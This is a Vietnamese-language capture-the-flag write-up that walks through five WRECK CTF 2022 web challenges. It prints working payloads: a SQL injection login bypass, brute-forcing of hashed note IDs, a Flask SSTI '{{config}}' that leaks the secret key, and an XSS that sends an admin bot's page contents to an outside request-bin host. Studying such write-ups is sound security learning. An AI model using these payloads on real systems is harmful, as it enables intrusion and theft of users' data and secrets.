# \[WRECK CTF 2022] Writeup Web

## Mở đầu

Giải này mình làm khi chỉ còn 3 tiếng nữa kết thúc nên khá tiếc 3 bài chưa kịp làm....Có taast cả 8 bài web mình solve được 5/8 và một bài làm được sau khi giải kết thúc. Dưới đây là write up của mình. À đây là toàn bộ source code mảng web: [**`LINK`**](https://github.com/shanglyuv/SourceCTF_Web/tree/main/WRECK_CTF)

## Web/souce

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fc5MziZXrcOKlT0neLME7%2F0.png?alt=media&#x26;token=e71798a5-9d86-4479-a686-18e46cb906b9" alt=""><figcaption></figcaption></figure>

Như tên bài và nó khá dễ, khi vào trang web nó sẽ như thế này....

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fnu6Ttbq9ltk0Gbf9oQEG%2Fimage.png?alt=media&#x26;token=533f594b-e829-4692-a335-cd14276d29ec" alt=""><figcaption></figcaption></figure>

Tiếp theo mình source code nó lên&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FJG91NZdU9JOIuLQalgU5%2F2.png?alt=media&#x26;token=1e53de69-69e1-4bf5-b3c6-2c13a03a4ca4" alt=""><figcaption></figcaption></figure>

Có ngay 1/3 flag khi này mình thấy hai file trên khá đáng nghi nhưng mình chắc flag sẽ nằm trong hai file style.css và script.js

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FDOIDkqHs90CAXxzpQwyZ%2F3.png?alt=media&#x26;token=68bb9722-813d-4701-8f37-5f803a11da1b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F3kul4a6PQSo6K8ju43jN%2F4.png?alt=media&#x26;token=a13cadf3-53a7-4dbf-85c2-00136c0e27a7" alt=""><figcaption></figcaption></figure>

> flag{bd6a9e3f1690f7abb8445c0e}

## Web/password-1

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FrgI1ZZi3XHcnYXK8ct11%2F0.png?alt=media&#x26;token=2c9c47c7-de44-428c-b204-431555b393bc" alt=""><figcaption></figcaption></figure>

Khi nghĩ tới password mình nghĩ tới lỗ hổng sqli nhưng bài này có source nên chúng ta sẽ xem xét source

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FeG9fkc6s4aluYTNxt9Ri%2F1.png?alt=media&#x26;token=4f25c3d4-cf7b-4020-8632-12f1700e46ba" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F9ygvbK6DmQ6h5J3jyCo3%2Fimage.png?alt=media&#x26;token=a662a6fc-cd7a-41b3-9cdf-cd50d3df8769" alt=""><figcaption></figcaption></figure>

Ở đây chỉ có hai file, ở đây chúng ta sẽ xét file <mark style="color:purple;">`app.py`</mark>&#x20;

```javascript
const hash = (
                  '8c59346d674a352c' +
                  'aa36c0cb808ec0dd' +
                  '28ba42144f760c12' +
                  '564663b610c9ce2d'
                );
                if (await sha256(input.value) === hash) {
                  const flag = await (await fetch('/api/output')).text();
                  document.querySelector('.content').textContent = flag;
                } else {
                  input.removeAttribute('style');
                  input.offsetWidth;
                  input.style.animation = 'shake 0.25s';
```

Ở đây biến hash chứa một chuỗi, đây là mã SHA256, một loại mã hóa một chiều, oke tiếp theo nếu giá trị nhập vào input trên được mã hóa sha256 bằng hash thì sẽ có flag, đơn giản là vậy....

Nhưng không... như trên mình đã nói mã hóa SHA256 là mã hóa một chiều nên điều này coi như không thể...Oke sau khi xem tiếp code mình nhận ra có lỗ hổng.

```javascript
@server.get('/api/output', c_type='text/plain')
async def flag(request):
    del request
    return (200, FLAG)
```

Mình sẽ giải thích ở đây thì @server có thể trỏ tới hay gọi là get tới /api/output và xử lý ngay tới hàm flag và in ra flag.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FGhOvoPfhPVhgEbuWAUFv%2F4.png?alt=media&#x26;token=5c282c70-eab6-4ed1-b5c7-d338633da437" alt=""><figcaption></figcaption></figure>

```
flag{why_is_hashing_in_browser_so_hard}
```

## Web/password-2

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FwlMlO64eMZry44od1hwj%2F0.png?alt=media&#x26;token=fc0bae3e-f9dd-485b-9e2b-8f551ab5d501" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FC65v4wTRmtht4FgtEhn1%2F1.png?alt=media&#x26;token=7951b0ce-2d17-4a97-a2fb-b52894cb0073" alt=""><figcaption></figcaption></figure>

Bài này cũng có source nốt nên chúng ta lại phân tích code

```javascript
app.post('/password', (req, res) => {
    const password = (req.body.password ?? '').toString()
    const result = db.prepare(
        `SELECT password FROM passwords WHERE password='${password}';`
    ).get()
    if (result) res.json({ success: true, flag: FLAG })
    else res.json({ success: false })
})
```

Nhìn vào đoạn code này sau khi password được nhập thì prepare sẽ xử lý đoạn query nhưng vấn đề ở đây là password được chèn vào query để so sánh khi đó có thể break out query trên với cú pháp như <mark style="color:purple;">`'or'1'='1`</mark>&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fn82wjhRuG8IcSq26S7ZI%2F4.png?alt=media&#x26;token=d7e245af-4acb-4d2e-be25-caa6881fac5c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fb3e4zPYPKrENXBEf7mfh%2F5.png?alt=media&#x26;token=38bfcd17-6d0c-4c22-bd6c-0ab505d7dd8a" alt=""><figcaption></figcaption></figure>

```markup
flag{i_love_in_memory_sqlite}
```

## Web/note-1

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FkMGaGrh1er2MUy2rb2EU%2F0.png?alt=media&#x26;token=d17423fb-3521-4526-9067-09998aba1696" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FZjMAM621wXOpU5DoChnJ%2F1.png?alt=media&#x26;token=4af9653b-457c-4a87-91f5-d1a46daf8c9b" alt=""><figcaption></figcaption></figure>

Bài này khá thú vị, khi vào trang web chúng ta thấy một một input để chúng ta ghi bất cứ thứ gì vào và note lại.....

Oke bây giờ vẫn cần thực hiện như một người bình thường thôi note lại và nó là private mà nên không ai có thể đọc được...

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FWuwvOWwH9mbh0Ef69NBw%2F2.png?alt=media&#x26;token=4686ea52-28b4-4af2-bb67-d51927944324" alt=""><figcaption></figcaption></figure>

Chúng ta chú ý rằng trên url có một đoạn mã sau /view/ nhìn có vẻ là hex nhưng không chắc...

Khi mình check thì nó k ra một chuỗ gì cả thì mình dùng[ crackstation](https://crackstation.net/) để check thì nó ra như này&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2F0TQoF2HmZYN5gwS8U6Uf%2Fimage.png?alt=media&#x26;token=1f80ef61-85bd-438d-a356-dcead3cba1b8" alt=""><figcaption></figcaption></figure>

Oke xác định được rõ loại mã hóa và mình thử dùng một số khác mã hóa SHA256 thay thế cho đoạn mã trên và xuất hiện một note của người khác.

Oke mình xác định đây là lỗ hổng `Access control vulnerabilities and privilege escalation(_Mình có viết bày này ở Research vul)` khi đó chúng ta có thể xem được note của người khác mà không bị cản trở.

Ở đây mình dùng tool burp suite để quét. À trước khi quét thì có đoạn code của bài như sau.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FWCUiypQQAXHU6fWDTHxa%2Fimage.png?alt=media&#x26;token=f93fd234-82f7-478f-8d7f-a8cf1b83439c" alt=""><figcaption></figcaption></figure>

Ở đây hằng số state được gán một Object có key là id và value là 0 sau đó ó mã hóa sha256, bỏ qua đoạn dưới thì bạn cứ hiểu đoan giản nó sẽ mã hóa 256 sau đó nó được +1 và được set vào note&#x20;

&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FjiL3EC0up6ohfk2eXGRT%2Fimage.png?alt=media&#x26;token=35f20515-8c7d-4b24-8c22-8c0e0910a951" alt=""><figcaption></figcaption></figure>

Sau khi post note lên thì khi đó hằng số note sẽ check xem có nội dung không, nếu k có thì trả vễ chuỗi rỗng, có thì trả về chuỗi được nhập và vẫn add note vào id và trả về trang /view/id.

Oke được rồi bây giờ tới burp thì chúng ta dùng payload là số từ 0 tới 100 và payload process là mã hóa sha256. Và grep-extract là như này không thì sẽ filter kết quả sau khi quét xong...tùy!

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fc8ysLgSrlUIV5abrkxnN%2Fimage.png?alt=media&#x26;token=245db7cb-f679-4652-aab7-0a93cf1aea1a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fzc5z8s2h9Oq0MpUzV82o%2Fimage.png?alt=media&#x26;token=35a7edba-ff37-4b06-a604-a2662b1cb1aa" alt=""><figcaption></figcaption></figure>

Sau khi quét thì flag nằm ở id là 0, thì bài này khá đánh lừa chúng ta nếu chúng ta bỏ đi số 0 thì sẽ không thấy được flag.

```
flag{technically_a_vulnerability}
```

## Web/blog

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FEIsz4xWOBQ4xS33EUQN8%2F0.png?alt=media&#x26;token=3c9ab19a-925a-423a-b240-6226fa1db54c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FD4NxMXjpym1PC9ysyQWN%2Fimage.png?alt=media&#x26;token=93ec7491-0cbf-452c-977e-ab7a26490129" alt=""><figcaption></figcaption></figure>

Oke bài này có source code mình sẽ check.&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FwjcqrzT7NnfQ5t08sFUG%2Fimage.png?alt=media&#x26;token=4e3e9b6b-475d-4ad2-8479-9feba2fe97cd" alt=""><figcaption></figcaption></figure>

Ở đây chúng ta sẽ xét file blog.py

```python
def postsuccess():
    quicktemplate = """
    {% extends 'base.html' %}
    {% block header %}
        <h1>{% block title %}Success!{% endblock %}</h1>
        <a class="action" href="{{ url_for('blog.index') }}">Back</a>
    {% endblock %}
    {% block content %}
        <p>Post \"""" + request.args.get('title') + """\" created successfully. </p>
    {% endblock %}
    """
    return render_template_string(quicktemplate)
```

Lỗ hổng SSTI xuất hiện ở đây - nhúng vào title và ta có thể đọc được secret-key.

```javascript
app.config.from_mapping(
    SECRET_KEY=open("flaskr/protected/burdellsecrets.txt").read(),
)
```

Nhìn vào dòng code này chúng ta thấy rằng flag nằm ở config...

#### Exploit

Bây giờ chúng ta sẽ check phần titke của trang web

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FoZZjzdlkXMzgatgtuh5w%2Fimage.png?alt=media&#x26;token=cc4e2e88-9bf7-49e6-bb84-aeb16267616f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FGccUDO3IyjbrowR25la0%2Fimage.png?alt=media&#x26;token=3a4f9f32-0187-4155-b2fa-3768df25bff4" alt=""><figcaption></figcaption></figure>

Chúng ta có thể thấy sau khi submit thì SSTI bị khai thác, như ở trên chúng ta đã biến flag ở nằm ở config và biến secret\_key và payload lúc này là:&#x20;

```
{{config}}
```

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FaPGjVcFKFOxdprUWqlGe%2Fimage.png?alt=media&#x26;token=bae70f59-f552-4b0a-b459-6464498cc9d3" alt=""><figcaption></figcaption></figure>

Oke thành công vậy chúng ta đã có flag: <mark style="color:purple;">`flag{I'm_not_real_:)}`</mark>

## Web/note-2

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FwNIHqkTDfsRaTAVq2WGT%2Fimage.png?alt=media&#x26;token=bfeb0a15-8857-44de-acba-c1451cfc232e" alt=""><figcaption></figcaption></figure>

Oke bài này khá là thú vị, trong bài này có 2 link, nó vẫn là private note và có một link submit cho Admin bot => mình nghĩ tới XSS;

Vào link đầu và trang note, mình thử note "Shang" và source code nó ra và nhận ra rằng.../

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Ff1UGOJzObCqZX7447UKi%2Fimage.png?alt=media&#x26;token=f2776054-da53-4786-b4e6-2a61c097d3b9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FqAfigdjS2jbYLVlyLsSR%2Fimage.png?alt=media&#x26;token=6c851506-f78d-42ed-b52a-ed01d6838ed8" alt=""><figcaption></figcaption></figure>

Nhận ra rằng input đầu vào mình có thể break out đoạn js đó đi bằng cách <mark style="color:purple;">`";alert(1)//`</mark>

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FCvoMe4eKqixLQIUfKm7v%2Fimage.png?alt=media&#x26;token=55ef672e-1c28-4ff2-9f70-a56b672c8ae9" alt=""><figcaption></figcaption></figure>

Oke vậy là khai thác thành công XSS,  bây giờ chúng ta cần xây dựng payload để submit lên trang của mình và lấy được <mark style="color:purple;">`{id}`</mark> được mã hóa sau `/view` của admin thì sẽ có flag...Nhắc lại trang này k có cookie nên cái cần lấy là id trên thanh url.

Oke sau một lúc research thì mình có đoạn đầu của payload như này: <mark style="color:blue;">`";});`</mark>

* Mình giải thích đoạn đầu payload này xíu nhé

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FVZSmmpVFaA2FSP0DLhT0%2Fimage.png?alt=media&#x26;token=057462c1-c86f-44e3-9e2e-d58e7ea3d910" alt=""><figcaption></figcaption></figure>

* Các bạn có thể xem mình đã break out ra khỏi event khi click vào button(chú ý dấu ngoặc mình trỏ vào), khi đó mình viết một dòng code JS mới và chắc chắn rằng đoạn cuối payload của mình sẽ là: <mark style="color:purple;">`;//";`</mark>
* Ở đây các bạn chỉ cần hiểu rằng // là cmt trong JS

Tiếp theo chúng ta sẽ xây dựng phần giữa payload, vì chúng ta cần lấy id của admin(Lỗ hổng XSS nhé) - trang này không hề có cookie. Vậy làm sao để lấy id của admin?

Chúng ta sẽ sử dụng <mark style="color:purple;">`document.body.innerHTML`</mark> - nó dùng để load hay là in ra source code của trang, kiểu như này:&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FklGAQ61BwVWFB4uznB7R%2Fimage.png?alt=media&#x26;token=c02d7d06-089a-4e54-9eae-87604ac30ca9" alt=""><figcaption></figcaption></figure>

Để nó gọn lại chúng `encodeURIComponent` (nó sẽ encode gần hết trừ một vài ký tự đặc biệt) để mất khoảng trắng và biến nó thành một chuỗi để chúng ta dễ encode b64 hơn =>tóm lại để gọn nó đi.&#x20;

```url
.concat(btoa(encodeURIComponent(document.body.innerHTML)))
```

Ở đây mình dùng nối chuỗi `.concat` vì dấu `+` có thể bị filter đi...

Bây giờ đoạn payload hoàn chỉ sẽ là như này:

```
";}); 
window.addEventListener('load', () => 
{document.location="https://my_requestbin?id="
.concat(btoa(encodeURIComponent(document.body.innerHTML)));//";
```

Khi cái này được gửi đi và trang được load thì sự kiện trên sẽ thực thi đoạn mã trong, nó rõ ra là khi admin nhấn vào thì đoạn mã được tự load mà admin không cần phải ấn xem note private.

Ở đây mình dùng `Burp collaborator client` để thay cho server request, dùng burp suite để lấy link địa chỉ của trang khi mình submit payload kiểu như này:

```

https://notes-2.challs.wreckctf.com/view/e002f0f0415645f6a0e61d79b1eec6fa9cca8c444457bff60da2b96e1547211e
```

Đây là địa chỉ trang mình vừa submit có chứa đoạn payload trên, và gửi link này cho con bot của admin.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FZg0ZUBqf63PyeNOcrNIh%2Fimage.png?alt=media&#x26;token=32034acc-98a6-4f05-8d42-03ba9320a66c" alt=""><figcaption></figcaption></figure>

Đợi một lúc con bot admin sẽ trả về một đoạn base64 như sau:

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2Fbu6M1cjFkq9eSnzDqhjX%2Fimage.png?alt=media&#x26;token=bda52bac-7469-420d-b627-b590b5877ef4" alt=""><figcaption></figcaption></figure>

Sau đó decode nó ra sẽ có được id của admin cần lấy flag.

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FJghVpALfUtznflk1lJp9%2Fimage.png?alt=media&#x26;token=2e761fa1-2ed5-4a81-b945-e09b8f865a8d" alt=""><figcaption></figcaption></figure>

Submit lên có ngay flag

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FfF8zKFF6nImTXGIvBi6D%2Fimage.png?alt=media&#x26;token=453f13c0-91ef-4c8f-b565-8eff7f359d05" alt=""><figcaption></figcaption></figure>

Flag: <mark style="color:purple;">`flag{context_dependent_sanitization}`</mark>

Cảm ơn mọi người đã đọc write up, trên đây là một số bài mình làm ra trong thời gian thi, mặc dù câu viết chưa được tốt nhưng mình đã cố gắng viết ra những gì mình biết. Mong các bạn thông cảm!!!
